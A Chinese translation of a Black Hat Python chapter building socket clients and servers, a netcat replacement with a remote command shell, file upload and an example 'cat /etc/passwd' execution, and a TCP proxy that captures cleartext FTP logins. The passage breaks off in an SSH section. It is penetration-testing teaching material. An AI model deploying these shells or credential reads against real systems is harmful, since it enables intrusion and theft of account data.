Black-Hat-Python-2nd-2

基本网络工具

网络永远是黑客最具有诱惑的舞台。通过简单的网络访问,攻击者几乎可以做任何事情,比如扫描主机、注入数据包、嗅探数据和远程控制主机。但是,如果您已经深入到企业目标的最深处,您可能会发现自己遇到了一个难题:您没有工具来实施网络攻击。没有netcat、Wireshark、没有编译器,也没办法安装。但是,您可能会惊讶地发现,在许多情况下,目标安装了Python。那我们从这里开始吧。

本章将为您提供一些使用 socket 模块的Python网络基础(完整的socket文档可以在这里找到:http://docs.python.org/3/library/socket.html。)在此过程中,我们将构建客户端、服务器端和TCP代理。然后,我们将把它们转换为我们自己的netcat,并可完成一个命令shell。本章是后续章节的基础,我们将构建一个主机探测工具,实现跨平台嗅探器,并创建一个远程木马框架。让我们开始吧。

短评Python网络

程序员可以使用许多第三方工具在Python中创建联网的服务器端和客户端,但所有这些工具的核心模块都是 socket (套接字)。该模块公开了快速编写传输控制协议(TCP)和用户数据报协议(UDP)客户端和服务端、使用原始套接字等所需的所有部分。为了入侵或维护对目标机器的访问通路,这个模块是您真正需要的。让我们从创建一些简单的客户端和服务端开始——这是您将编写的两个最常见的快速网络脚本。

TCP客户端

在渗透测试期间,我们(作者)无数次需要快速创建TCP客户端来测试服务、发送垃圾数据、模糊测试或执行各种数量级的其他任务。如果您在大型企业环境的范围内工作,您将无法奢侈地使用网络工具或编译器,有时您甚至会失去所有基础能力,如复制、粘贴或连接到互联网的能力。这就是急需快速创建TCP客户端的情况。废话少说,让我们开始编码吧。下面是一个简单的TCP客户端:

import socket
target_host = "www.google.com"
target_port = 80
# create a socket object
[1] client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# connect the client
[2] client.connect((target_host,target_port))
# send some data
[3] client.send(b"GET / HTTP/1.1\r\nHost: google.com\r\n\r\n")
# receive some data
[4] response = client.recv(4096)
print(response.decode())
client.close()

我们首先[1]用 AF_INETSOCK_STREAM 参数创建一个套接字对象。AF_INET参数表示我们将使用标准IPv4地址或主机名,而SOCK_STREAM表示这将是一个TCP客户端。然后我们在第[2]部分将客户端连接到服务器端,并在[3]处将一些数据以字节的形式发送给它。最后一步[4]是接收回传一些数据并打印响应情况,然后关闭套接字。这是最简单的TCP客户端形式,但也是你将最常写的一种。

此代码片段对套接字做了一些必要的假设,您肯定想要知道它们。第一个假设是我们的连接总是成功的,第二个假设是服务器希望我们先发送数据(一些服务器希望先发送数据给您,然后等待您的响应)。我们的第三个假设是,服务器将总是及时地向我们返回数据。我们做这些假设主要是为了简单。虽然程序员对如何处理阻塞套接字、套接字中的异常处理等问题有不同的看法,但渗透测试人员很少在他们用于侦查或开发工作的快速而粗糙的工具中注意这些细节,所以我们在本章中也将省略它们。

UDP客户端

Python UDP客户端与TCP客户端没有太大的区别;我们只需要做两个小的改变来让它以UDP形式发送数据包:

import socket
target_host = "127.0.0.1"
target_port = 9997
# create a socket object
[1] client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# send some data
[2] client.sendto(b"AAABBBCCC",(target_host,target_port))
# receive some data
[3] data, addr = client.recvfrom(4096)
print(data.decode())
client.close()

如您所见,在创建套接字对象时,在[1]处我们将套接字类型更改为 SOCK_DGRAM 。第[2]步是简单地调用sendto(),参数是要传递的数据和要发送数据的目标服务端。因为UDP是无连接的协议,所以事先不需要调用connect()。最后一步[3]是调用*recvfrom()*来接收UDP数据。您还将注意到,它会同时返回数据和远程主机及端口的详细信息。

再说一次,我们并不想成为优秀的网络程序员;我们希望我们的程序工具它能够快速、简单、可靠地处理我们的日常黑客任务。下面让我们继续创建一些简单的服务器。

TCP服务端

在Python中创建TCP服务器就像创建客户端一样简单。在编写命令shell或创建代理(这两项我们将在后面进行)时,您可能希望使用自己的TCP服务器。让我们首先创建一个标准的多线程TCP服务器。编写如下代码:

import socket
import threading
IP = '0.0.0.0'
PORT = 9998
def main():
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((IP, PORT)) [1]
    server.listen(5) [2]
    print(f'[*] Listening on {IP}:{PORT}')
    while True:
        client, address = server.accept() [3]
        print(f'[*] Accepted connection from {address[0]}:{address[1]}')
        client_handler = threading.Thread(target=handle_client, args=(client,))
        client_handler.start() [4]
 def handle_client(client_socket): [5]
    with client_socket as sock:
        request = sock.recv(1024)
        print(f'[*] Received: {request.decode("utf-8")}')
        sock.send(b'ACK')
if __name__ == '__main__':
    main()

首先,我们在[1]设置希望服务器监听的IP地址和端口。接下来在[2]处,我们让服务器开始监听,将最大的连接数量设置为5。然后我们将服务器端放入主循环中,在这里它将等待一个传入的连接。在[3]处当有客户端连接时,我们在 client 变量中接收客户端套接字,在 address 变量中接收远程连接的细节信息。然后创建一个指向 handle_client 函数的新线程对象,并将客户端套接字对象作为参数传递给它。然后我们在[4]处启动线程来处理客户端连接,此时主服务器循环已经准备好处理另一个传入连接。[5]处handle_client函数执行recv(),然后向客户端发送一条简单的消息。

如果使用我们之前构建的TCP客户端,可以向服务器端发送一些测试数据包。你应该看到如下输出:

[*] Listening on 0.0.0.0:9998
[*] Accepted connection from: 127.0.0.1:62512
[*] Received: ABCDEF

就是这样!虽然非常简单,但这是一段非常有用的代码。在接下来的几节中,我们将会对它进行扩展,构建netcat的替换工具和TCP代理。

代替Netcat

Netcat是网络中的“瑞士军刀”,所以精明的系统管理员从他们的系统中删除它也就不足为奇了。如果攻击者设法找到了进入的方法,那么这样一个工具将是相当有用的东西。有了它,您可以通过网络读写数据,这意味着您可以使用它来执行远程命令、远程上传和下载文件,甚至打开远程shell。我们不止一次遇到没有安装netcat但有Python的服务器。在这些情况下,创建一个简单的网络客户端和服务器(可以用来传输文件)或一个监听器(提供命令行的访问)是很有用的。如果你是通过一个web应用程序入侵的,那么部署一个Python回调程序绝对值得,这样您无需先使用特洛伊木马程序或后门即可获得二次访问权限。创建这样一个工具也是一个很棒的Python练习,所以让我们开始编写 netcat.py

import argparse
import socket
import shlex
import subprocess
import sys
import textwrap
import threading
def execute(cmd):
    cmd = cmd.strip()
    if not cmd:
        return
    [1] output = subprocess.check_output(shlex.split(cmd),
                                     stderr=subprocess.STDOUT)
    return output.decode()

这里我们导入所有必要的库并设置execute函数,该函数实现接收命令和运行,并将输出作为字符串返回。这个函数包含一个我们还没有介绍的新库: subprocess 库。该库提供了一个强大的进程创建接口,为您提供了许多与客户端程序交互的方法。在[1]处,我们使用它的 check_output 函数,该函数在本地操作系统上运行命令,然后返回该命令输出。

现在,让我们创建负责处理命令行参数和调用其余函数的主块:

if __name__ == '__main__':
    parser = argparse.ArgumentParser( [1]
        description='BHP Net Tool',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=textwrap.dedent('''Example: [2]
            netcat.py -t 192.168.1.108 -p 5555 -l -c # command shell
            netcat.py -t 192.168.1.108 -p 5555 -l -u=mytest.txt # upload to file
            netcat.py -t 192.168.1.108 -p 5555 -l -e=\"cat /etc/passwd\" # execute command
            echo 'ABC' | ./netcat.py -t 192.168.1.108 -p 135 # echo text to server port 135
            netcat.py -t 192.168.1.108 -p 5555 # connect to server
        '''))
    parser.add_argument('-c', '--command', action='store_true', help='command shell') [3]
    parser.add_argument('-e', '--execute', help='execute specified command')
    parser.add_argument('-l', '--listen', action='store_true', help='listen')
    parser.add_argument('-p', '--port', type=int, default=5555, help='specified port')
    parser.add_argument('-t', '--target', default='192.168.1.203', help='specified IP')
    parser.add_argument('-u', '--upload', help='upload file')
    args = parser.parse_args()
    if args.listen: [4]
        buffer = ''
    else:
        buffer = sys.stdin.read()
    nc = NetCat(args, buffer.encode())
    nc.run()

我们使用标准库中的 argparse 模块创建一个命令行接口[1]。我们将提供参数,以便可以调用它来上传文件、执行命令或启动命令shell。

我们提供了当用户使用 –help [2]调用程序时该程序将显示的示例用法,并添加六个参数来指定我们希望程序如何运行[3]。 -c 参数设置交互式shell, -e 参数执行一个特定的命令, -l 参数表明建立一个监听器, -p 参数指定通信的端口, -t 参数指定了目标IP ,和 -u 参数指定要上传的文件名。发送方和接收方都可以使用这个程序,因此参数定义了是调用它来发送还是监听。-c-e和*-u参数意味着使用-l参数,因为这些参数只应用于通信的监听端。发送方连接到监听端,因此它只需要-t-p*参数来定义连接的目标监听器。

如果我们将它设置为一个监听器[4],我们在调用 NetCat 对象的同时也需要一个空的缓冲区字符串。然后,我们从 stdin 发送缓冲区内容。最后,我们调用 run 函数来启动程序。

现在,让我们从客户端代码开始,开始为其中一些功能设置通路。在主块上面添加以下代码:

class NetCat:
    [1] def __init__(self, args, buffer=None):
        self.args = args
        self.buffer = buffer
        [2] self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    def run(self):
        if self.args.listen:
            [3] self.listen()
        else:
            [4] self.send()

我们使用命令行参数和缓冲区[1]初始化 NetCat 对象,然后创建套接字对象[2]。

run 方法是管理 NetCat 对象的入口点,它的实现非常简单:它将执行分成两个方法。如果我们要设置一个监听器,我们调用 listen 类函数[3]。否则,我们调用 send 类函数[4]。

现在我们来写这个 send 类函数:

def send(self):
        [1] self.socket.connect((self.args.target, self.args.port))
        if self.buffer:
            self.socket.send(self.buffer)
        [2] try:
            [3] while True:
                recv_len = 1
                response = ''
                while recv_len:
                    data = self.socket.recv(4096)
                    recv_len = len(data)
                    response += data.decode()
                    if recv_len < 4096:
                        [4] break
                if response:
                    print(response)
                    buffer = input('> ')
                    buffer += '\n'
                    [5] self.socket.send(buffer.encode())
        [6] except KeyboardInterrupt:
            print('User terminated.')
            self.socket.close()
            sys.exit()

我们连接到目标和端口[1],如果我们有缓冲区信息,我们将它先发送给目标。然后我们设置一个 try/catch 块,这样我们就可以用 CTRL-C [2] 手动关闭连接。接下来,我们启动一个循环[3]来接收来自目标的数据。如果没有更多的数据,则跳出循环[4]。否则,我们打印响应的数据并暂停以获得交互式输入,发送该输入[5],然后继续循环。

循环会一直继续,直到 KeyboardInterrupt 发生(CTRL-C) [6],这会关闭套接字。

现在让我们编写当程序作为监听器运行时执行的类函数:

def listen(self):
        [1] self.socket.bind((self.args.target, self.args.port))
        self.socket.listen(5)
		[2] while True:
            client_socket, _ = self.socket.accept()
            [3] client_thread = threading.Thread(
                target=self.handle, args=(client_socket,)
            )
            client_thread.start()

listen 类函数绑定到目标和端口[1],并在循环[2]中开始监听,将连接的套接字传递给 handle [3]。

现在让我们实现文件上传、命令执行和创建交互式shell的逻辑功能。当作为监听器运行时,程序需要完成这些任务。

def handle(self, client_socket):
        [1] if self.args.execute:
            output = execute(self.args.execute)
            client_socket.send(output.encode())
        [2] elif self.args.upload:
            file_buffer = b''
            while True:
                data = client_socket.recv(4096)
                if data:
                    file_buffer += data
                else:
                    break
            with open(self.args.upload, 'wb') as f:
                f.write(file_buffer)
            message = f'Saved file {self.args.upload}'
            client_socket.send(message.encode())
        [3] elif self.args.command:
            cmd_buffer = b''
            while True:
                try:
                    client_socket.send(b'BHP: #> ')
                    while '\n' not in cmd_buffer.decode():
                        cmd_buffer += client_socket.recv(64)
                    response = execute(cmd_buffer.decode())
                    if response:
                        client_socket.send(response.encode())
                    cmd_buffer = b''
                except Exception as e:
                    print(f'server killed {e}')
                    self.socket.close()
                    sys.exit()

handle 类函数执行与它接收到的命令行参数所对应的任务:完成命令执行、上传文件或启动shell。如果有一个命令需要执行[1],handle 类函数将命令传递给 execute 函数,并将输出发送回套接字。如果要上传文件[2],我们将设置一个循环来监听来自监听套接字上的内容,并接收数据,直到没有更多数据发送进来为止。然后将累积的内容写入指定的文件。最后,如果要创建shell [3],我们也将设置一个循环,向发送者传递提示,并等待返回命令字符串。然后,我们使用 execute 函数执行命令,并将命令的输出返回给发送方。

您应该注意到了shell会扫描换行符,以确定何时处理命令,这使得它对 netcat 友好。也就是说,您可以在监听端使用此程序,在发送端使用netcat工具。但是,如果您要用Python客户端与之对话,请记住添加换行符。在 send 类函数中,您可以看到我们确实在从控制台获得输入之后添加了换行符。

Kicking the Tires

(笔者注:Kicking the Tires是一种口语表达,指的是对一项投资进行最小限度的研究,而不是进行彻底和严格的分析。直译为踢轮胎,应该是比喻购车时简单看一看,踢一下轮胎验车)

现在让我们对它进行一些操作,以查看一些输出的情况。在一个终端或 cmd.exe 的shell中,使用 –help 参数运行脚本:

$ python netcat.py  --help
usage: netcat.py [-h] [-c] [-e EXECUTE] [-l] [-p PORT] [-t TARGET] [-u UPLOAD]
BHP Net Tool
optional arguments:
  -h, --help            show this help message and exit
  -c, --command         initialize command shell
  -e EXECUTE, --execute EXECUTE
                        execute specified command
  -l, --listen          listen
  -p PORT, --port PORT  specified port
  -t TARGET, --target TARGET
                        specified IP
  -u UPLOAD, --upload UPLOAD
                        upload file
Example:
      netcat.py -t 192.168.1.108 -p 5555 -l -c # command shell
      netcat.py -t 192.168.1.108 -p 5555 -l -u=mytest.txt # upload to file
      netcat.py -t 192.168.1.108 -p 5555 -l -e="cat /etc/passwd" # execute command
      echo 'ABCDEFGHI' | ./netcat.py -t 192.168.1.108 -p 135
          # echo local text to server port 135
      netcat.py -t 192.168.1.108 -p 5555 # connect to server

现在,在你的Kali机上,使用它自己的IP和端口5555设置一个监听器,来提供一个命令行shell:

$ python netcat.py -t 192.168.1.203 -p 5555 -l -c

现在在本地机器上启动另一个终端,并以客户端模式运行脚本。请记住,该脚本会从stdin读入,并将处于阻塞态直到它收到文件结束(EOF)标记。要发送EOF,请在键盘上键入CTRL-D键:

% python netcat.py -t 192.168.1.203 -p 5555
CTRL-D
<BHP:#>  ls -la
total 23497
drwxr-xr-x 1 502 dialout      608 May 16 17:12 .
drwxr-xr-x 1 502 dialout      512 Mar 29 11:23 ..
-rw-r--r-- 1 502 dialout     8795 May  6 10:10 mytest.png
-rw-r--r-- 1 502 dialout    14610 May 11 09:06 mytest.sh
-rw-r--r-- 1 502 dialout     8795 May  6 10:10 mytest.txt
-rw-r--r-- 1 502 dialout     4408 May 11 08:55 netcat.py
<BHP: #> uname -a
Linux kali 5.3.0-kali3-amd64 #1 SMP Debian 5.3.15-1kali1 (2019-12-09) x86_64 GNU/Linux

您可以看到,我们收到了自定义的命令shell。因为我们是在Unix主机上,所以我们可以运行本地命令并接收命令运行的输出,就像我们通过SSH登录或者是在本地机器上一样。我们可以只使用 -e 参数在Kali机上执行相同的设置来让它执行一条命令:

$ python netcat.py -t 192.168.1.203 -p 5555 -l -e="cat /etc/passwd"

现在,当我们从本地机器连接到Kali时,我们会得到命令的输出结果:

% python netcat.py -t 192.168.1.203 -p 5555
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin

我们也可以在本地机器上使用netcat:

% nc 192.168.1.203 5555
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin

最后,我们可以使用客户端发送传统方式的请求:

$ echo -ne "GET / HTTP/1.1\r\nHost: reachtim.com\r\n\r\n" |python ./netcat.py -t reachtim.com 
-p 80
HTTP/1.1 301 Moved Permanently
Server: nginx
Date: Mon, 18 May 2020 12:46:30 GMT
Content-Type: text/html; charset=iso-8859-1
Content-Length: 229
Connection: keep-alive
Location: https://reachtim.com/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="https://reachtim.com/">here</a>.</p>
</body></html>

虽然这不是一种超强的技巧,但它是用Python编写一些客户端和服务器套接字并使用它们做坏事的良好基础。当然,这个程序只涵盖了基础知识;请运用你的想象力来扩展或改进它。接下来,让我们构建一个TCP代理,它在任何攻击场景中都很有用。

构建TCP代理

在该工具中使用TCP代理有几个原因。您可以使用它来将流量从主机转发到主机,或者在评估基于网络的软件时使用。在企业环境中执行渗透测试时,您可能无法运行Wireshark;也不能加载驱动程序来嗅探Windows上的回路,而且网络间的隔离将阻止您直接在目标主机上运行您的工具。我们已经在各种情况下构建了像这样的简单的Python代理,以帮助您理解未知的协议,修改发送到应用程序的流量,并为fuzzers创建测试用例。

代理有几个活动部分。让我们总结一下需要编写的四个主要函数。我们需要将本地机器和远程机器之间的通信显示到控制台(hexdump)。我们需要从本地或远程机器(receive _from)的传入套接字接收数据。我们需要管理远程机器和本地机器之间的通信方向(proxy_handler)。最后,我们需要设置一个监听套接字,并将它传递给proxy_handler (server_loop)。

让我们开始吧,打开一个新文件并命名 proxy.py

import sys
import socket
import threading
[1] HEX_FILTER = ''.join(
    [(len(repr(chr(i))) == 3) and chr(i) or '.' for i in range(256)])
def hexdump(src, length=16, show=True):
    [2] if isinstance(src, bytes):
    src = src.decode()
    results = list()
    for i in range(0, len(src), length):
        [3] word = str(src[i:i+length])
        [4] printable = word.translate(HEX_FILTER)
        hexa = ' '.join([f'{ord(c):02X}' for c in word])
        hexwidth = length*3
        [5] results.append(f'{i:04x}  {hexa:<{hexwidth}}  {printable}')
    if show:
        for line in results:
            print(line)
    else:
        return results

我们开始先导入了一些库。然后定义一个 hexdump 函数,它接受一些字节或字符串输入,并将hexdump输出到控制台。也就是说,它将输出包含十六进制值和ASCII的可打印字符的数据包的详细信息。这对于理解未知协议、查找明文协议中的用户凭据等都很有用。我们创建一个 HEXFILTER 字符串[1],它包含ASCII可打印字符(如果存在),或者如果不存在这样的表示则是一个点(.)。为了说明这个字符串可以包含什么,我们举个例子,看一下在交互式Python shell中两个整数30和65的字符表示:

>>> chr(65)
'A'
>>> chr(30)
'\x1e'
>>> len(repr(chr(65)))
3
>>> len(repr(chr(30)))
6

65是可用字符表示是可打印的,而30则不能。像看到的这样,可打印字符的表示长度为3。我们根据这个情况来创建最终的 HEXFILTER 字符串:如果可以就转化为字符,否则用点(.)替代。

用于创建字符串的列表使用了Boolean 短路技术,这听起来很奇特。让我们分解一下:对于0到255范围内的每个整数,如果对应字符的长度等于3,我们用 (chr(i)) 得到对应字符。否则,我们用一个点(.)。然后我们将该列表join连接成一个字符串,它看起来就像这样:

'................................ !"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJK
LMNOPQRSTUVWXYZ[.]^_àbcdefghijklmnopqrstuvwxyz{|}~...........................
.......¡¢£¤¥¦§¨©ª«¬.®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæç
èéêëìíîïðñòóôõö÷øùúûüýþÿ'

列表推导式给出前256个整数的可打印字符表示。现在我们可以创建 hexdump 函数。首先,我们确保我们有一个字符串,如果在[2]中传入了一个字节字符串,则解码字节。然后我们获取要转储的字符串的一部分,并将其放入 word 变量[3]中。我们使用内置函数 translate 将每个字符的字符串表示替换为原始字符串(printable) [4]中相应的字符。同样,我们替换原始字符串中每个字符的整数值的十六进制表示(hexa)。最后,我们创建一个新数组来保存字符串result,该数组包含单词第一个字节索引的十六进制值、单词的十六进制值以及它的可打印表示形式[5]。输出是这样的:

>> hexdump('python rocks\n and proxies roll\n')
0000  70 79 74 68 6F 6E 20 72 6F 63 6B 73 0A 20 61 6E   python rocks. an
0010  64 20 70 72 6F 78 69 65 73 20 72 6F 6C 6C 0A      d proxies roll.

这个函数为我们提供了一种实时监视通过代理的通信的方法。现在让我们创建一个函数,代理的两端将使用它来接收数据:

def receive_from(connection):
    buffer = b""
    [1] connection.settimeout(5)
    try:
        while True:
            [2] data = connection.recv(4096)
            if not data:
                break
            buffer += data
    except Exception as e:
        pass
    return buffer

为了同时接收本地和远程数据,我们传入要使用的套接字对象。我们创建一个空字节字符串,buffer,它将从套接字[1]中积累回应。默认情况下,我们设置了5秒的超时时间,如果您正在将流量代理到其他国家或通过有损的网络,超时情况可能会很严重,因此需要增加设置的超时时间。我们设置了一个循环,将响应数据读入buffer[2],直到没有更多数据或超时。最后,我们将buffer字节字符串返回给本地或远程的调用者。

有时,您可能希望在代理将响应包或请求包发送之前修改它们。让我们添加两个函数(request_handlerresponse_handler)来实现这一点:

def request_handler(buffer):
    # perform packet modifications
    return buffer
def response_handler(buffer):
    # perform packet modifications
    return buffer

在这些函数中,您可以修改数据包内容、执行模糊任务、测试身份验证问题,或者做任何您想做的其他事情。例如,如果您发现正在发送明文用户凭据,并且希望通过使用admin而不是您自己的用户名来提高应用程序上的特权,这些函数会很有用。

现在让我们通过添加以下代码来深入了解 proxy_handler 函数:

def proxy_handler(client_socket, remote_host, remote_port, receive_first):
    remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    remote_socket.connect((remote_host, remote_port)) [1]

    if receive_first: [2]
        remote_buffer = receive_from(remote_socket)
        hexdump(remote_buffer)

    remote_buffer = response_handler(remote_buffer) [3]
    if len(remote_buffer):
        print("[<==] Sending %d bytes to localhost." % len(remote_buffer))
        client_socket.send(remote_buffer)

    while True:
        local_buffer = receive_from(client_socket)
        if len(local_buffer):
            line = "[==>]Received %d bytes from localhost." % len(local_buffer)
            print(line)
            hexdump(local_buffer)

            local_buffer = request_handler(local_buffer)
            remote_socket.send(local_buffer)
            print("[==>] Sent to remote.")

        remote_buffer = receive_from(remote_socket)
        if len(remote_buffer):
            print("[<==] Received %d bytes from remote." % len(remote_buffer))
            hexdump(remote_buffer)

            remote_buffer = response_handler(remote_buffer)
            client_socket.send(remote_buffer)
            print("[<==] Sent to localhost.")

        if not len(local_buffer) or not len(remote_buffer): [4]
            client_socket.close()
            remote_socket.close()
            print("[*] No more data. Closing connections.")
            break

这个函数包含我们代理用的大部分逻辑功能。首先,我们连接到远程主机[1]。然后进行检查,确保不需要在进入主循环[2]之前先发起到远程端的连接并请求数据。一些服务器守护进程会希望您这样做(例如,FTP服务器通常会先发送一个banner)。然后,我们对通信的双方使用receive_from函数。它接受连接的套接字对象并执行接收数据。我们把数据包里的东西输出,这样我们就可以检查里面有什么有趣的东西。接下来,我们将输出传递给response_handler函数[3],然后将接收到的buffer发送给本地客户端。代理代码的其余部分很简单:我们设置循环不断地从本地客户端读取,处理数据,将其发送到远程客户端,从远程客户端读取、处理数据,并将其发送到本地客户端,直到我们发现不到任何数据。当连接的任何一端都没有数据要发送时[4],我们关闭本地和远程套接字,并跳出循环。

让我们用 server_loop 函数来设置和管理连接:

def server_loop(local_host, local_port,
                remote_host, remote_port, receive_first):
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) [1]
    try:
        server.bind((local_host, local_port)) [2]
    except Exception as e:
        print('problem on bind: %r' % e)

        print("[!!] Failed to listen on %s:%d" % (local_host, local_port))
        print("[!!] Check for other listening sockets or correct permissions.")
        sys.exit(0)
    print("[*] Listening on %s:%d" % (local_host, local_port))
    server.listen(5)
    while True: [3]
        client_socket, addr = server.accept()
        # print out the local connection information
        line = "> Received incoming connection from %s:%d" % (addr[0], addr[1])
        print(line)
        # start a thread to talk to the remote host
        proxy_thread = threading.Thread( [4]
            target=proxy_handler,
            args=(client_socket, remote_host,
            remote_port, receive_first))
        proxy_thread.start()

server_loop 函数创建一个套接字[1],然后绑定到本地主机并监听[2]。在主循环[3]中,当一个新的连接请求到来时,我们将它交给一个新线程[4]中的 proxy_handler 函数,该线程负责向数据流的任何一方发送和接收有价值的bits(数据信息)。

剩下要写的是 main 函数:

def main():
    if len(sys.argv[1:]) != 5:
        print("Usage: ./proxy.py [localhost] [localport]", end='')
        print("[remotehost] [remoteport] [receive_first]")
        print("Example: ./proxy.py 127.0.0.1 9000 10.12.132.1 9000 True")
        sys.exit(0)
    local_host = sys.argv[1]
    local_port = int(sys.argv[2])
    remote_host = sys.argv[3]
    remote_port = int(sys.argv[4])
    receive_first = sys.argv[5]

    if "True" in receive_first:
        receive_first = True
    else:
        receive_first = False

    server_loop(local_host, local_port,
        remote_host, remote_port, receive_first)

if __name__ == '__main__':
    main()

main 函数中,我们接受一些命令行参数,然后启动服务器端用于监听连接的循环。

Kicking the Tires

现在我们已经有了核心代理循环和支持其功能函数,让我们在FTP服务器上测试它。使用以下选项启动代理:

tim@kali: sudo python proxy.py 192.168.1.203 21 ftp.sun.ac.za 21 True

我们在这里使用sudo,因为端口21是一个特权端口,所以监听它需要管理员或root权限。现在启动任意FTP客户端,并设置它使用localhost和端口21作为远程主机和端口。当然,您需要将代理指向实际响应您的FTP服务器。当我们在测试FTP服务器上运行时,我们得到了以下结果:

[*] Listening on 192.168.1.203:21
> Received incoming connection from 192.168.1.203:47360
[<==] Received 30 bytes from remote.
0000  32 32 30 20 57 65 6C 63 6F 6D 65 20 74 6F 20 66   220 Welcome to f
0010  74 70 2E 73 75 6E 2E 61 63 2E 7A 61 0D 0A         tp.sun.ac.za..
0000  55 53 45 52 20 61 6E 6F 6E 79 6D 6F 75 73 0D 0A   USER anonymous..
0000  33 33 31 20 50 6C 65 61 73 65 20 73 70 65 63 69   331 Please speci
0010  66 79 20 74 68 65 20 70 61 73 73 77 6F 72 64 2E   fy the password.
0020  0D 0A                                             ..
0000  50 41 53 53 20 73 65 6B 72 65 74 0D 0A            PASS sekret..
0000  32 33 30 20 4C 6F 67 69 6E 20 73 75 63 63 65 73   230 Login succes
0010  73 66 75 6C 2E 0D 0A                              sful...
[==>] Sent to local.
[<==] Received 6 bytes from local.
0000  53 59 53 54 0D 0A                                 SYST..
0000  32 31 35 20 55 4E 49 58 20 54 79 70 65 3A 20 4C   215 UNIX Type: L
0010  38 0D 0A                                          8..
[<==] Received 28 bytes from local.
0000  50 4F 52 54 20 31 39 32 2C 31 36 38 2C 31 2C 32   PORT 192,168,1,2
0010  30 33 2C 31 38 37 2C 32 32 33 0D 0A               03,187,223..
0000  32 30 30 20 50 4F 52 54 20 63 6F 6D 6D 61 6E 64   200 PORT command
0010  20 73 75 63 63 65 73 73 66 75 6C 2E 20 43 6F 6E    successful. Con
0020  73 69 64 65 72 20 75 73 69 6E 67 20 50 41 53 56   sider using PASV
0030  2E 0D 0A                                          ...
[<==] Received 6 bytes from local.
0000  4C 49 53 54 0D 0A                                 LIST..
[<==] Received 63 bytes from remote.
0000  31 35 30 20 48 65 72 65 20 63 6F 6D 65 73 20 74   150 Here comes t
0010  68 65 20 64 69 72 65 63 74 6F 72 79 20 6C 69 73   he directory lis
0020  74 69 6E 67 2E 0D 0A 32 32 36 20 44 69 72 65 63   ting...226 Direc
0030  74 6F 72 79 20 73 65 6E 64 20 4F 4B 2E 0D 0A      tory send OK...
0000  50 4F 52 54 20 31 39 32 2C 31 36 38 2C 31 2C 32   PORT 192,168,1,2
0010  30 33 2C 32 31 38 2C 31 31 0D 0A                  03,218,11..
0000  32 30 30 20 50 4F 52 54 20 63 6F 6D 6D 61 6E 64   200 PORT command
0010  20 73 75 63 63 65 73 73 66 75 6C 2E 20 43 6F 6E    successful. Con
0020  73 69 64 65 72 20 75 73 69 6E 67 20 50 41 53 56   sider using PASV
0030  2E 0D 0A                                          ...
0000  51 55 49 54 0D 0A                                 QUIT..
[==>] Sent to remote.
0000  32 32 31 20 47 6F 6F 64 62 79 65 2E 0D 0A         221 Goodbye...
[==>] Sent to local.
[*] No more data. Closing connections.

在Kali机上的另一个终端上,我们使用默认端口21启动了一个到Kali机IP地址的FTP会话:

tim@kali:$ ftp 192.168.1.203
Connected to 192.168.1.203.
220 Welcome to ftp.sun.ac.za
Name (192.168.1.203:tim): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
lrwxrwxrwx    1 1001     1001           48 Jul 17  2008 CPAN -> pub/mirrors/
ftp.funet.fi/pub/languages/perl/CPAN
lrwxrwxrwx    1 1001     1001           21 Oct 21  2009 CRAN -> pub/mirrors/
ubuntu.com
drwxr-xr-x    2 1001     1001         4096 Apr 03  2019 veeam
drwxr-xr-x    6 1001     1001         4096 Jun 27  2016 win32InetKeyTeraTerm
226 Directory send OK.
ftp> bye
221 Goodbye.

您可以清楚地看到,我们能够成功地接收FTP banner并发送用户名和密码,并且它可以干净地退出。

SSH with Paramiko

(笔者注:Paramiko是SSHv2协议的Python(2.7,3.4+)实现,同时提供客户端和服务器功能,支持以加密和认证的方式,进行远程服务器的连接。)

以我们构建的netcat替代工具 BHNET 为中心使用非常方便,但更明智的是对流量进行加密以避免被检测。一种常见的方法是使用Secure Shell (SSH)隧道传输。但是,如果您的目标像99.81943 %的Windows系统那样没有SSH客户端,该怎么办呢?

虽然Windows上有很好的SSH客户端,比如 PuTTY ,但这是一本关于Python的书。在Python中,您可以使用原始套接字和一些加密戏法,来创建您自己的SSH客户端或服务器——但是既然可以利用已有的,为什么还要自己创建呢?基于PyCrypto的 Paramiko 提供了对SSH2协议的简单使用方法。

了解这个库是如何工作的,我们将使用Paramiko在SSH系统上建立连接并运行命令,在Windows机器上配置SSH服务器和SSH客户端来执行远程命令,最后找出Paramiko包含的反向隧道演示文件来复制BHNET的代理选项。让我们开始吧。

首先,使用 pip 安装程序来获取Paramiko(或从http://www.paramiko.org/下载):

pip install paramiko

稍后我们将使用一些演示文件,所以也请确保从Paramiko GitHub repo下载到它们(https://github.com/paramiko/Paramiko/)。

创建一个名为 ssh_cmd.py 的新文件,并输入以下内容:

import paramiko

[1] def ssh_command(ip, port, user, passwd, cmd):
    client = paramiko.SSHClient()
    [2] client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
